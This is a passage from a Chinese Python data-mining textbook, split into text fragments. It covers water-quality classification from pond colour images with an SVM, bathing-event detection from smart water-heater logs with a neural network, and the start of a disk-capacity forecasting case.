利用本章案例中的原始数据（各属性说明见表8-17），采用Apriori关联规则算法，分析中医证型系数与病程阶段、转移部位和确诊后几年发现转移3个指标的关联分析。 表8-17 关联规则模型输入变量 8.5 小结 本章结合中医证型关联规则的案例，重点介绍了数据挖掘算法中Apriori关联算法在实际案例中的应用，并详细地描述了数据获取、数据离散化以及模型构建的过程，最后对其相应的算法及过程给出了Python上机实验。 第9章 基于水色图像的水质评价 9.1 背景与挖掘目标 有经验的从事渔业生产的从业者可通过观察水色变化调控水质，以维持养殖水体生态系统中浮游植物、微生物类、浮游动物等合理的动态平衡。由于这些多是通过经验和肉眼观察进行判断的，存在主观性引起的观察性偏倚，使观察结果的可比性、可重复性降低，不易推广应用。当前，数字图像处理技术为计算机监控技术在水产养殖业的应用提供更大的空间。在水质在线监测方面，数字图像处理技术是基于计算机视觉的，以专家经验为基础，对池塘水色进行优劣分级，实现对池塘水色的准确快速判别。 在“上机实验/data/images”目录下给出了某地区的多个罗非鱼池塘水样的数据，包含水产专家按水色判断水质分类的数据以及用数码相机按照标准进行水色采集的数据（见表9-1，图9-1），每个水质图片命名规则为“类别_编号.jpg”，如“1_1.jpg”说明当前图片属于第1类的样本。请根据这些数据，利用图像处理技术，通过水色图像实现水质的自动评价。 表9-1 水色分类 图9-1 标准条件下拍摄的水样图像 数据详见：test/data/images/"},
    {"text": "9.2 分析方法与过程 通过拍摄水样，采集得到水样图像，而图像数据的维度过大，不容易分析，需要从中提取水样图像的特征，提取反映图像本质的一些关键指标，以达到自动进行图像识别或分类的目的。"},
    {"text": "显然，图像特征提取是图像识别或分类的关键步骤，图像特征提取的效果直接影响到图像识别和分类的好坏。 图像特征主要包括颜色特征、纹理特征、形状特征和空间关系特征等。"},
    {"text": "颜色特征是一种全局特征，描述了图像或图像区域所对应的景物的表面性质。 一般颜色特征是基于像素点的特征，所有属于图像或图像区域的像素都有各自的贡献。"},
    {"text": "在利用图像的颜色信息进行图像处理、识别、分类的研究中，在实现方法上已有大量的研究成果，主要采用颜色处理常用的直方图法和颜色矩方法等。 颜色直方图是最基本的颜色特征表示方法，它反映的是图像中颜色的组成分布，即出现了哪些颜色以及各种颜色出现的概率。 其优点在于它能简单描述一幅图像中颜色的全局分布，即不同色彩在整幅图像中所占的比例，特别适用于描述那些难以自动分割的图像和不需要考虑物体空间位置的图像。 其缺点在于它无法描述图像中颜色的局部分布及每种色彩所处的空间位置，即无法描述图像中的某一具体的对象或物体。 基于颜色矩 [18] 提取图像特征的数学基础为图像中任何的颜色分布均可以用它的矩来表示。"},
    {"text": "根据概率论的理论，随机变量的概率分布可以由其各阶矩唯一的表示和描述。 一幅图像的色彩分布也可认为是一种概率分布，那么图像可以由其各阶矩来描述。"},
    {"text": "颜色直方图产生的特征维数一般大于颜色矩的特征维数，为了避免过多变量影响后续的分类效果，在本案例中选择采用颜色矩来提取水样图像的特征，即建立水样图像与反映该图像特征的数据信息关系，同时由有经验的专家对水样图像根据经验进行分类，建立水样数据信息与水质类别的专家样本库，进而构建分类模型，得到水样图像与水质类别的映射关系，并经过不断调整系数优化模型，最后利用训练好的分类模型，用户就能方便地通过水样图像，自动判别出该水样的水质类别。"},
    {"text": "3）利用2）形成的已完成数据预处理的建模数据，由有经验的专家对水样图像根据经验进行分类，构建专家样本。 4）利用3）的专家样本构建分类模型。 5）利用4）的构建好的分类模型进行水质评价。"},
    {"text": "图9-2 基于水色图像特征提取的水质评价流程 9.2.1 数据预处理 1.图像切割 采集到的水样图像包含盛水容器，容器的颜色与水体颜色差异较大，同时水体位于图像中央，为了提取水色的特征，需要提取水样图像中央部分具有代表意义的图像，具体实施方式是提取水样图像中央101×101像素的图像。"},
    {"text": "设原始图像I的大小是M×N，则截取宽从第fix（M/2）-50个像素点到第fix（M/2）+50个像素点，长从第fix（N/2）-50个像素点到第fix（M/2）+50个像素点的子图像。"},
    {"text": "使用其他编程软件进行编程，即可把图9-3中左边的切割前的水样图像切割并保存到右边的切割后的水样图像。 图9-3 切割前水样图像（左）和切割后水样图像（右） 2.特征提取 在本案例中选择采用颜色矩来提取水样图像的特征，下面给出各阶颜色矩的计算公式。"},
    {"text": "（1）一阶颜色矩 一阶颜色矩采用一阶原点矩，反映图像的整体明暗程度。 其中，E i 是在第i个颜色通道的一阶颜色矩，对于RGB颜色空间的图像，i＝1，2，3，p ij 是第j个像素的第i个颜色通道的颜色值。 （2）二阶颜色矩 二阶颜色矩采用的是二阶中心距的平方根，反映图像颜色的分布范围。 其中，δ i 是在第i个颜色通道的二阶颜色矩，E i 是在第i个颜色通道的一阶颜色矩。 （3）三阶颜色矩 三阶颜色矩采用的是三阶中心距的立方根，反映图像颜色分布的对称性。 其中，s i 是在第i个颜色通道的三阶颜色矩，E i 是在第i个颜色通道的一阶颜色矩。"},
    {"text": "表9-2 水色图像特征与相应的水色类别的部分数据 数据详见：demo/data/moment.csv 9.2.2 模型构建 1.模型输入 对特征提取后的样本进行抽样，抽取80%作为训练样本，剩下的20%作为测试样本，用于水质评价检验。"},
    {"text": "代码清单9-1 数据抽样代码 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/moment.csv' # 数据文件 data = pd.read_csv(inputfile, encoding = 'gbk') # 读取数据，指定编码为 gbk data = data.as_matrix() from random import shuffle # 引入随机函数 shuffle(data) # 随机打乱数据 data_train = data[:int(0.8*len(data)), :] # 选取前 80% 为训练数据 data_test = data[int(0.8*len(data)):, :] # 选取前 20% 为测试数据 代码详见：demo/code/svm.py 本案例采用支持向量机作为水质评价分类模型，模型的输入包括两部分，一部分是训练样本的输入，另一部分是建模参数的输入。"},
    {"text": "表9-3 预测模型输入变量 其中，1~9为输入的特征，我们发现特征的取值范围都在0~1之间，也就是说，如果直接输入SVM模型的话，彼此之间区分度会比较小，因此，我们不妨将所有特征都统一乘以一个适当的常数k，从而提高区分度和准确率。"},
    {"text": "常数k的选取不能过大也不能过小，过小导致区分度较低，模型精确度差，较大则容易导致模型在训练样本中过拟合（如k＝1000时，在训练样本准确率为100%，在测试样本准确率不到20%），总的来说，k过大过小都会导致测试样本的准确率下降，所以可以根据测试准确率来选择k的最优值。"},
    {"text": "经过反复测试，本次建模中k的最优值大约为30，因此，我们将输入的特征统一乘以30，然后建立支持向量机模型，代码如代码清单9-2所示。"},
    {"text": "代码清单9-2 构建支持向量机模型代码（接9-1） # 构造特征和标签 x_train = data_train[:, 2:]*30 # 放大特征 y_train = data_train[:, 0].astype(int) x_test = data_test[:, 2:]*30 # 放大特征 y_test = data_test[:, 0].astype(int) # 导入模型相关的函数，建立并且训练模型 from sklearn import svm model = svm.SVC() model.fit(x_train, y_train) import pickle pickle.dump(model, open('../tmp/svm.model', 'wb')) # 最后一句保存模型，以后可以通过下面语句重新加载模型： #model = pickle.load(open('../tmp/svm.model', 'rb')) # 导入输出相关的库，生成混淆矩阵 from sklearn import metrics cm_train = metrics.confusion_matrix(y_train, model.predict(x_train)) # 训练样本的混 淆矩阵 cm_test = metrics.confusion_matrix(y_test, model.predict(x_test)) # 测试样本的混淆矩阵 # 保存结果 pd.DataFrame(cm_train, index = range(1, 6), columns = range(1, 6)).to_excel(outputfile1) pd.DataFrame(cm_test, index = range(1, 6), columns = range(1, 6)).to_excel(output- file2) 代码详见：demo/code/svm.py 2.结果及分析 建立模型后，利用训练样本进行回判，得到的混淆矩阵见表9-4，分类准确率为96.91%，分类效果较好，可应用模型进行水质评价。"},
    {"text": "表9-4 模型混淆矩阵 9.2.3 水质评价 取所有测试样本为输入样本，代入已构建好的支持向量机模型，得到输出结果，即预测的水质类型。 水质评价的混淆矩阵见表9-5，分类准确率为95.12%，说明水质评价模型对于新增的水色图像的分类效果较好，可将模型应用到水质自动评价系统，实现水质评价。"},
    {"text": "9.3 上机实验 1.实验目的 加深对支持向量机原理的理解及使用。 2.实验内容 实验数据是截取后的图像的颜色矩特征，包括一阶矩、二阶矩、三阶矩，同时由于图像具有R、G和B三个颜色通道，所以颜色矩特征具有9个分量。结合水质类别和颜色矩特征构成专家样本数据，以水质类别作为目标输出，构建支持向量机模型，并利用混淆矩阵评价模型优劣。 注意 数据80%作为训练样本，剩下的20%作为测试样本。 3.实验方法与步骤 1）使用read_csv（）函数把经过预处理的专家样本数据“test/data/moment.csv”读入当前工作空间。 2）把工作空间的建模数据随机分为两部分，一部分用于训练，一部分用于测试。 3）使用Scikit-Learn里的svm（）函数以及训练数据构建支持向量机模型，使用predict（）函数和构建的支持向量机模型分别对训练数据进行分类，使用Scikit-Learn库的子库metrics中的confusion_matrix（）函数求出混淆矩阵，如果仅仅是想知道准确率，可以用model.score（x_test，y_test）的方式返回。 4）使用predict（）函数和步骤3）构建好的支持向量机模型分别对测试数据进行分类，参考步骤3）得到模型分类正确率和混淆矩阵。 4.思考与实验总结 1）如何在Python环境下处理图像数据？ 2）支持向量机模型的参数有哪些可以设置，如何针对数据特征进行参数择优选择？ 9.4 拓展思考 我国环境质量评价工作是20世纪70年代后才逐步发展起来的。发展至今，在评价指标体系及评价理论探索等方面均有较大进展。但目前在我国环境评价实际工作中，所采用的通常是一些比较传统的评价方法，往往是从单个污染因子的角度对其进行简单评价。然而，对某区域的环境质量（如水质、大气质量等）的综合评价一般涉及较多的评价因素，且各因素与区域环境整体质量关系复杂，因而采用单项污染指数评价法无法客观准确地反映各污染因子之间相互作用对环境质量的影响。 基于上述原因，要客观评价一个区域的环境质量状况，需要综合考虑各种因素之间以及影响因素与环境质量之间错综复杂的关系。采用传统的方法存在着一定的局限性和不合理性。因此，从学术研究的角度对环境评价的技术方法及其理论进行探讨，寻求能更全面、客观、准确反映环境质量的新的理论方法具有重要的现实意义。 有人根据空气中SO 2 、NO、NO 2 、NO x 、PM10和PM2.5的含量，建立分类预测模型，实现对空气质量的评价。在某地实际监测的部分原始样本数据经预处理后如表9-6所示（完整数据见：/拓展思考/拓展思考样本数据.xls）。请采用C4.5决策树进行模型构建，并评价模型效果。 表9-6 建模样本数据 数据详见：拓展思考/拓展思考样本数据.xls 9.5 小结 本章结合基于水色图像进行水质评价的案例，重点介绍了图像处理算法中的颜色矩提取和数据挖掘算法中支持向量机算法在实际案例中的应用。利用水色图像颜色矩的特征，采用支持向量机算法进行水质评价，并详细地描述了数据挖掘的整个过程，也对其相应的算法给出了Python语言上机实验。 第10章 家用电器用户行为分析与事件识别 10.1 背景与挖掘目标 居民在使用家用电器过程中，会因地区气候、不同区域、用户年龄性别差异，形成不同的使用习惯。家电企业若能深入了解不同用户群的使用习惯，开发新功能，就能开拓新市场。 要了解用户使用家用电器的习惯，必须采集用户使用电器的相关数据下面以热水器为例，分析用户的使用行为。在热水器用户行为分析过程中，用水事件识别是最关键的环节。比如，国内某热水器生产厂商新研发的一种高端智能热水器，在状态发生改变或者有水流状态时，会采集各监控指标数据。该厂商根据其采集的用户的用水数据，分析用户的用水行为特征。热水器采集到用户用水数据见表10-1。由于用户不仅仅使用热水器来洗浴，还可能包括洗手、洗脸、刷牙、洗菜、做饭等用水行为，所以热水器采集到的数据来自各种不同的用水事件。本案例基于热水器采集的时间序列数据，将顺序排列的离散的用水时间节点根据水流量和停顿时间间隔划分为不同大小的时间区间，每个区间是一个可理解的一次完整用水事件，并以热水器一次完整用水事件为一个基本事件，将时间序列数据划分为独立的用水事件并识别出其中属于洗浴的事件。基于以上工作，该厂商可从热水器智能操作和节能运行等多方面对产品进行优化。 热水器厂商根据洗浴事件识别模型，对不同地区的用户的用水进行识别，根据识别结果比较不同客户群的客户使用习惯、加深对客户的理解等。从而，厂商可以给不同的客户群提供最适合的个性化产品、改进新产品的智能化的研发和制定相应的营销策略。 请根据提供的数据实现以下目标。 1）根据热水器采集到的数据，划分一次完整用水事件。 2）在划分好的一次完整用水事件中，识别出洗浴事件。 表10-1 热水器用户用水数据 数据详见：demo/data/original_data.xls"},
    {"text": "2）对步骤1）形成的数据集进行数据探索分析与预处理，包括探索用水事件时间间隔的分布、规约冗余属性、识别用水数据的缺失值，并对缺失值进行处理，根据建模的需要进行属性构造等。 根据以上处理，对用水样本数据建立用水事件时间间隔识别模型和划分一次完整的用水事件模型，再在一次完整用水事件划分结果的基础上，剔除短暂用水事件，缩小识别范围。 图10-1 热水器用户用水识别建模总体流程 3）在步骤2）得到的建模样本数据基础上，建立洗浴事件识别模型，对洗浴事件识别模型进行模型分析评价。"},
    {"text": "10.2.1 数据抽取 在使用热水器的过程中，热水器的状态会经常发生改变，比如开机和关机、由加热转到保温、由无水流到有水流、水温由50℃变为49℃等。 而智能热水器在状态发生改变或者水流量非零时，每两秒会采集一条状态数据。"},
    {"text": "热水器采集的用水数据包含以下12个属性：热水器编码、发生时间、开关机状态、加热中、保温中、有无水流、实际温度、热水量、水流量、节能模式、加热剩余时间、当前设置温度。"},
    {"text": "表10-2 热水器属性说明 10.2.2 数据探索分析 用水停顿时间间隔为一条水流量不为0的流水记录同下一条水流量不为0的流水记录之间的时间间隔。"},
    {"text": "为了探究用户真实用水停顿时间间隔的分布情况，统计用水停顿的时间间隔并作频率分布直方图。 通过频率分布直方图分析用户用水停顿时间间隔的规律性，从而探究划分一次完整用水事件的时间间隔阈值。"},
    {"text": "表10-3 用水停顿时间间隔频数分布表 （单位：分钟） 分析表10-3可知，停顿时间间隔为0~0.3分钟的频率很高，根据日常用水经验可以判断其为一次用水时间中的停顿； 停顿时间间隔为6~13分钟的频率较低，分析其为两次用水事件之间的停顿间隔。 两次用水事件的停顿时间间隔分布在3~7分钟。 根据现场实验统计用水停顿的时间间隔近似。"},
    {"text": "10.2.3 数据预处理 本案例的数据集的特点是数据量涉及上万个用户而且每个用户每天的用水数据多达数万条、存在缺失值、与分析主题无关的属性或未直接反应用水事件的属性等。"},
    {"text": "表10-4 属性规约后部分数据列表 数据详见：demo/data/water_heater.xls 2.数据变换 由于本案例的挖掘目标是对热水器用户的洗浴事件进行识别，这就需要从原始数据中识别出哪些状态记录是一个完整的用水事件（包括洗脸、洗手、刷牙、洗头、洗菜和洗浴等），从而再识别出用水事件中的洗浴事件；"},
    {"text": "图10-2 数据变换流程图 （1）一次完整用水事件的划分模型 用户的用水数据存储在数据库中，记录了各种各样的用水事件，包括洗浴、洗手、刷牙、洗脸、洗衣和洗菜等，而且一次用水事件由数条甚至数千条的状态记录组成。"},
    {"text": "如果水流量为0的状态记录之间的时间间隔超过一个阈值T，则从该段水流量为0的状态记录向前找到最后一条水流量不为0的用水记录作为上一次用水事件的结束； 向后找到水流量不为0的状态记录作为下一个用水事件的开始。"},
    {"text": "使用Pandas对用户的用水数据进行一次完整用水事件的划分，阈值T暂时假设为4分钟，详细代码如代码清单10-1所示。 代码清单10-1 划分一次用水事件代码 #-*- coding: utf-8 -*- # 用水事件划分 import pandas as pd threshold = pd.Timedelta(minutes = 4) # 阈值为 4 分钟 inputfile = '../data/water_heater.xls' # 输入数据路径，需要使用 Excel 格式 outputfile = '../tmp/dividsequence.xls' # 输出数据路径，需要使用 Excel 格式 data = pd.read_excel(inputfile) data[u' 发生时间 '] = pd.to_datetime(data[u' 发生时间 '], format = '%Y%m%d%H%M%S') data = data[data[u' 水流量 '] > 0] # 只要流量大于 0 的记录 d = data[u' 发生时间 '].diff() > threshold # 相邻时间作差分，比较是否大于阈值 data[u' 事件编号 '] = d.cumsum() + 1 # 通过累积求和的方式为事件编号 data.to_excel(outputfile) 代码详见：demo/code/divide_event.py 对用户的用水数据进行划分，划分结果如表10-6所示。 表10-6 用水数据划分结果 （2）用水事件阈值寻优模型 考虑到不同地区的人们用热水器的习惯不同，以及不同季节使用热水器时停顿的时长也可能不同，固定的停顿时长阈值对于某些特殊的情况的处理是不理想的，存在把一个事件划分为两个事件或者把两个事件合为一个事件的情况。"},
    {"text": "所以，考虑到在不同的时间段内要更新阈值，本案例建立了阈值寻优模型来更新寻找最优的阈值，这样可以解决因时间变化和地域不同导致阈值存在差异的问题。"},
    {"text": "对某热水器用户的数据进行了不同阈值划分，得到了相应的事件个数，阈值变化与划分得到的事件个数如表10-7所示，阈值与划分事件个数关系如图10-3所示。 表10-7 某热水器用户家庭某时间段不同用水时间间隔阈值事件划分个数 图10-3 阈值与划分事件个数关系 图10-3中某段阈值范围内，下降趋势明显，说明在该段阈值范围内，用户的停顿习惯比较集中。 如果趋势比较平缓，则说明用户的停顿习惯趋于稳定，所以取该段时间开始作为阈值，既不会将短的用水事件合并，又不会将长的用水事件拆开。 在图10-3中，用户停顿热水的习惯在方框的位置趋于稳定，说明热水器用户的用水停顿习惯用方框开始的时间点作为划分阈值会有一个好的效果。"},
    {"text": "图10-4 斜率计算图 每个阈值对应一个点，计算每个阈值得到一个斜率指标。 如图10-4所示，A点是要计算斜率指标的点，为了直观的展示，用下面的符号来进行说明，见表10-8。 表10-8 阈值寻优模型符号说明 根据（10-1）式，计算出k AB 、k BC 、k CD 、k DE 四个斜率。 再计算出四个斜率之和的平均值K： 将K作为A点的斜率指标，特别指出横坐标上的最后4个点没有斜率指标，因为找不出在它以后的4个更长的阈值。"},
    {"text": "于是，阈值优化的结果如下： 当存在一个阈值的斜率指标K＜1时，则取阈值最小的点A（可能存在多个阈值的斜率指标小于1）的横坐标x A 作为用水事件划分的阈值，其中K＜1中的1是经过实际数据验证的一个专家阈值。"},
    {"text": "代码清单10-2 阈值寻优代码 #-*- coding: utf-8 -*- # 阈值寻优 import numpy as np import pandas as pd inputfile = '../data/water_heater.xls' # 输入数据路径，需要使用 Excel 格式 n = 4 # 使用以后四个点的平均斜率 threshold = pd.Timedelta(minutes = 5) # 专家阈值 data = pd.read_excel(inputfile) data[u' 发生时间 '] = pd.to_datetime(data[u' 发生时间 '], format = '%Y%m%d%H%M%S') data = data[data[u' 水流量 '] > 0] # 只要流量大于 0 的记录 def event_num(ts): d = data[u' 发生时间 '].diff() > ts # 相邻时间作差分，比较是否大于阈值 return d.sum() + 1 # 这样直接返回事件数 dt = [pd.Timedelta(minutes = i) for i in np.arange(1, 9, 0.25)] h = pd.DataFrame(dt, columns = [u' 阈值 ']) # 定义阈值列 h[u' 事件数 '] = h[u' 阈值 '].apply(event_num) # 计算每个阈值对应的事件数 h[u' 斜率 '] = h[u' 事件数 '].diff()/0.25 # 计算每两个相邻点对应的斜率 h[u' 斜率指标 '] = pd.rolling_mean(h[u' 斜率 '].abs(), n) # 采用后 n 个的斜率绝对值平均作为斜率 指标 ts = h[u' 阈值 '][h[u' 斜率指标 '].idxmin() - n] # 注：用 idxmin 返回最小值的 Index ，由于 rolling_mean() 自动计算的是前 n 个斜率的绝对值平均 # 所以结果要进行平移（ -n ） if ts > threshold: ts = pd.Timedelta(minutes = 4) print(ts) 代码详见：demo/code/threshold_optimization.py 根据读入的数据文件，进行阈值寻优，得到该段时间用水事件划分的最优阈值为4分钟。"},
    {"text": "表10-9 4类属性指标的构建表 对一次用水事件抽取主要的用水数据，具体见表10-10。 表10-10 一次用水事件的用水数据表 根据用水数据，得到用水事件的属性构造说明图，如图10-5所示。 图10-5 一次用水事件及相关属性说明 下面对4类指标的构建方法做详细说明。"},
    {"text": "由图10-5及表10-10可知，在20：00：10热水器记录到的数据还没有用水，而在20：00：12热水器记录有用水行为，所以，用水开始时间在20：00：10~20：00：12之间。"},
    {"text": "考虑到网络不稳定导致网络数据传输延时数分钟或数小时等因素，取平均值会导致很大的偏差，综合分析构建“用水开始时间”为起始数据的时间减去“发送阈值”的一半，发送阈值是指热水器传输数据的频率的大小。"},
    {"text": "总用水量定义为：在水流量不为0时，一次用水事件（见表10-10）中每条状态记录的水流量与下一条状态记录的时间间隔的乘积。 平均水流量定义为：总用水量与用水时长的商。"},
    {"text": "表10-11 主要时长类指标构建说明 表10-12 频数类指标构建说明 表10-13 用水量化指标构建说明 表10-14 用水波动指标构建说明 （4）筛选得“候选洗浴事件” 洗浴事件的识别是建立在一次用水事件识别的基础上，也就是从已经划分好的一次用水事件中识别出哪些一次用水事件是洗浴事件。"},
    {"text": "因为花洒喷头出水的温度变化也在37~41℃，所以热水器设定温度越高，热水器水的实际温度就越高，热水器热水的使用量就越少。 经过实验分析，热水器设定温度为50℃时，一次普通的洗浴时长为15分钟，总用水时长10分钟左右，热水的使用量为10~15升。 为了不影响特殊的短暂的洗浴事件，以及考虑到夏天用的热水较少，放宽范围假定热水器在设定温度为50℃时，一次洗浴的总热水使用量为5升，同时取洗浴温度的均值为39℃来计算热水器不同设定温度下的热水使用量阈值。"},
    {"text": "假设两次洗浴事件热水和冷水混合后的花洒出水水温度恒为T摄氏度，总用水量不变且为M＋V升，根据热量守恒建立方程组（10-2）。 其中（1）式是50℃的热水V升与M升C℃自来水混合得到M+V升T摄氏度的洗浴用水的热守恒公式。 （2）式是X℃的热水Y升与M+V-Y升C℃自来水混合得到M+V升T℃的洗浴用水的热守恒公式。"},
    {"text": "在热水器工作态改变或处于用水阶段时，热水器每2秒（发送阈值）传输一条状态记录，而划分一次完整用水事件时，需要一个开始用水的状态记录和结束用水的状态记录。"},
    {"text": "表10-16 状态记录中的缺失值 这可能是由于网络故障等原因导致状态记录时间间隔为几十分钟甚至几小时的情况，该类问题若用均值去填充会造成用水时间为几十分钟甚至几小时的误差。 对于上述特殊情况，本案例数据进行如下处理：在存在用水状态记录缺失的情况下，填充一条状态记录使水流量为0，发生时间加2秒，其余属性状态不变。"},
    {"text": "表10-18 部分建模样本数据示例列表 根据建模样本数据和用户记录的包含用水的用途、用水开始时间、用水结束时间等属性的用水日志，建立多层神经网络模型识别洗浴事件。"},
    {"text": "图10-6 BP神经模型识别洗浴事件 在训练神经网络的时候，选取了“候选洗浴事件”的11个属性作为网络的输入，分别为：洗浴时间点、总用水时长、总停顿时长、平均停顿时长、停顿次数、用水时长、用水时长/总用水时长、总用水量、平均水流量、水流量波动和停顿时长波动。"},
    {"text": "在训练神经网络时，对神经网络的参数进行了寻优，发现含二个隐层的神经网络训练效果较好，其中二个隐层的隐节点数分别为17、10时训练的效果较好。"},
    {"text": "代码清单10-3 训练多层神经网络代码 #-*- coding: utf-8 -*- # 建立、训练多层神经网络，并完成模型的检验 from __future__ import print_function import pandas as pd inputfile1='../data/train_neural_network_data.xls' # 训练数据 inputfile2='../data/test_neural_network_data.xls' # 测试数据 testoutputfile = '../tmp/test_output_data.xls' # 测试数据模型输出文件 data_train = pd.read_excel(inputfile1) # 读入训练数据 ( 由日志标记事件是否为洗浴 ) data_test = pd.read_excel(inputfile2) # 读入测试数据 ( 由日志标记事件是否为洗浴 ) y_train = data_train.iloc[:,4].as_matrix() # 训练样本标签列 x_train = data_train.iloc[:,5:17].as_matrix() # 训练样本特征 y_test = data_test.iloc[:,4].as_matrix() # 测试样本标签列 x_test = data_test.iloc[:,5:17].as_matrix() # 测试样本特征 from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation model = Sequential() # 建立模型 model.add(Dense(11, 17)) # 添加输入层、隐藏层的连接 model.add(Activation('relu')) # 以 Relu 函数为激活函数 model.add(Dense(17, 10)) # 添加隐藏层、隐藏层的连接 model.add(Activation('relu')) # 以 Relu 函数为激活函数 model.add(Dense(10, 1)) # 添加隐藏层、输出层的连接 model.add(Activation('sigmoid')) # 以 sigmoid 函数为激活函数 # 编译模型，损失函数为 binary_crossentropy ，用 adam 法求解 model.compile(loss='binary_crossentropy', optimizer='adam', class_mode=\"binary\") model.fit(x_train, y_train, nb_epoch = 100, batch_size = 1) # 训练模型 model.save_weights('../tmp/net.model') # 保存模型参数 r = pd.DataFrame(model.predict_classes(x_test), columns = [u' 预测结果 ']) pd.concat([data_test.iloc[:,:5], r], axis = 1).to_excel(testoutputfile) model.predict(x_test) 代码详见：demo/code/neural_network.py 根据样本，得到训练好的神经网络后，就可以用来识别对应用户的洗浴事件，待检测的样本的11个属性作为输入，输出层输出一个值在[-1，1]范围内，如果该值小于0，则该事件不是洗浴事件，如果该值大于0，则该事件是洗浴事件。"},
    {"text": "10.2.5 模型检验 根据该热水器用户提供的用水日志来判断事件是否为洗浴与多层神经网络模型识别结果的比较，如表10-19所示，总共21条检测数据，准确识别了18条数据，模型对洗浴事件的识别准确率为85.5%。"},
    {"text": "表10-19 用户日志判断结果与模型输出判断结果比较 由于训练数据为一周数据，训练样本过少，可能会造成模型训练不准确，但长期让用户记录用水日志存在一定的操作困难，在这里模型检验用了两周的用户用水日志。"},
    {"text": "10.3 上机实验 1.实验目的 ·使用Python对数据进行预处理，掌握使用Python进行数据预处理的方法。 ·掌握数据转换，属性提取过程。 2.实验内容 ·对采集到的热水器用户数据以4分钟为阈值进行用水事件划分。 ·对划分得到的用水事件提取用水事件时长、一次用水事件中开关机切换次数、一次用水事件的总用水量和平均水流量等4个属性。 3.实验方法与步骤 实验一 1）打开Python载入Pandas库，使用read_excel（）函数将“test/data/water_heater.xls”数据读入到Python中。water_heater.xls文件中的数据形式如表10-4所示，数据为热水器用户一个月左右的用水数据，数据量为2万行左右。 2）利用Pandas的函数和方法，得到用水事件的序号、事件起始数据编号、事件终止数据编号，其中用水事件的序号为一个连续编号（1，2，3……）。根据水流量的值是否为0，明确地确定用户是否在用热水。再根据各条数据的发生时间，如果停顿时间超过阈值4分钟，则认为是2次用水事件。算法具体步骤可参考10.2.3节的数据变换中一次完整用水事件的划分模型，也可根据自己理解编写。 3）使用to_excel（）函数将得到用水事件序号、事件起始数据编号和事件终止数据编号等，划分结果保存到Excel文件中。 实验二 1）打开Python载入Pandas，使用read_excel（）函数将“test/data/water_heater.xls”数据读入到Python中，并将“实验一”中得到的划分结果读入到Python中。 2）数据转换，属性提取。用水事件时长，根据事件终止数据时间点减去事件起始数据时间点得到。再得到一次用水事件中开关机切换次数、一次用水事件的总用水量、平均水流量等属性。这些属性的提取方法见表10-11~表10-20。 3）用to_excel（）函数将每个用水事件的基本信息与提取得到的属性保存到Excel文件中。 4.思考与实验总结 1）在划分用水事件中采用的阈值为4分钟，而案例中有阈值寻优的模型，可用阈值寻优模型对每家热水器用户每个时间段寻找最优的阈值。 2）试着自行用循环语句（for或者while）实现相同的功能，对比案例提供的代码（即用内置的广播式的函数），运行效率会下降多少？ 10.4 拓展思考 根据模型划分的结果，发现有时候会将两次（或多次）洗浴划分为一次洗浴，因为在实际情况中，存在着一个人洗完澡后，另一个人马上洗的情况，过渡期间的停顿间隔小于阈值。针对两次（或多次）洗浴事件被合并为一次洗浴事件的情况，需要进行优化，对连续洗浴事件进行识别，提高模型识别精确度。 本案例给出的连续洗浴识别法如下： 对每次用水事件，建立一个连续洗浴判别指标。连续洗浴判别指标初始值为0，每当有一个属性超过设定的阈值，就给该指标加上相应的值，最后判别连续洗浴指标是否超过给定的阈值，如果超过给定的阈值，认为该次用水事件为连续洗浴事件。 选取5个前面章节提取得到的属性，作为判别连续洗浴事件的特征属性，这5个属性分别为：总用水时长、停顿次数、用水时长/总用水时长、总用水量和停顿时长波动。详细的说明如下。 1）总用水时长的阈值为900秒，如果超过900秒，就认为可能是连续洗浴，对于每超出的一秒，在该事件的连续洗浴判别指标上加上0.005，详情见表10-20。 2）停顿次数的阈值为10次，如果超过10次，就认为可能是连续洗浴，对于每超出的一次，在该事件的连续洗浴判别指标上加上0.5，详情见表10-20。 3）用水时长/总用水时长的阈值为0.5，如果小于0.5，就认为可能是连续洗浴，对于每少一个单位，在该事件的连续洗浴判别指标上加上0.2，详情见表10-20。 4）总用水量的阈值为30升次，如果超过30升，就认为可能是连续洗浴，对于每超出的1升，在该事件的连续洗浴判别指标上加上0.2，详情见表10-20。 5）停顿时长波动的阈值为1000，如果超过1000，就认为是连续洗浴，对于每超出一个单位，在该事件的连续洗浴判别指标上加上0.002，详情见表10-20。 表10-20 连续洗浴事件划分模型符号说明 根据以上信息建立优化模型，其中S是连续洗浴判别指标。 所以，连续洗浴事件的划分模型如下。 ·当用水事件的连续洗浴判别指标S大于5时，确定为连续洗浴事件或一次洗浴事件加一次短暂用水事件，取中间停顿时间最长的停顿，划分为两次事件。 ·如果S不大于5，确定为一次洗浴事件。 10.5 小结 本案例基于实时监控的智能热水器的用户使用数据，重点介绍了数据挖掘中的数据预处理的数据清洗、数据规约、数据变换等方法，以及数据预处理在实际案例中的应用，建立了热水器的洗浴事件识别的神经网络模型，并针对数据变换部分给出了Python上机实验。"},
    {"text": "第11章 应用系统负载分析与磁盘容量预测 11.1 背景与挖掘目标 某大型企业为了信息化发展的需要，建设了办公自动化系统、人力资源管理系统、财务管理系统、企业信息门户系统等几大企业级应用系统。因应用系统在日常运行时，会对底层软、硬件造成负荷，显著影响应用系统性能。如图11-1所示，影响应用系统性能的因素包括：服务器、数据库、中间件和存储设备。任何一种资源负载过大，都可能会引起应用系统性能下降甚至瘫痪。因此需要关注服务器、数据库、中间件和存储设备的运行状态，及时了解当前应用系统的负载情况，以便提前预防，确保系统安全稳定运行。 图11-1 应用系统拓扑关系图 应用系统的负载率可以通过对一段时间内软、硬件性能的运行状况进行综合评分而获得。通过对系统的当前负载率与历史平均负载率进行比较，获得负载率的当前趋势。通过负载率以及负载趋势可对系统进行负载分析，如图11-2所示。当出现应用系统的负载高或者负载趋势大的情况，代表系统目前处于高危工作环境中。如果系统管理员不及时进行相应的处理，系统很容易出现故障，从而导致用户无法访问系统，严重影响企业的利益。本章重点分析存储设备中磁盘容量预测，通过对磁盘容量进行预测，可预测磁盘未来的负载情况，避免应用系统因出现存储容量耗尽的情况而导致应用系统负载率过高，最终引发系统故障。 图11-2 应用系统负载分析 目前监控采集的性能数据主要包含CPU使用信息、内存使用信息和磁盘使用信息等，性能说明表见表11-1。通过分析磁盘容量相关数据（见表11-2），预测应用系统服务器磁盘空间是否满足系统健康运行的要求。根据这些数据可实现以下目标。 ·针对历史磁盘数据，采用时间序列分析方法，预测应用系统服务器磁盘已使用空间大小。 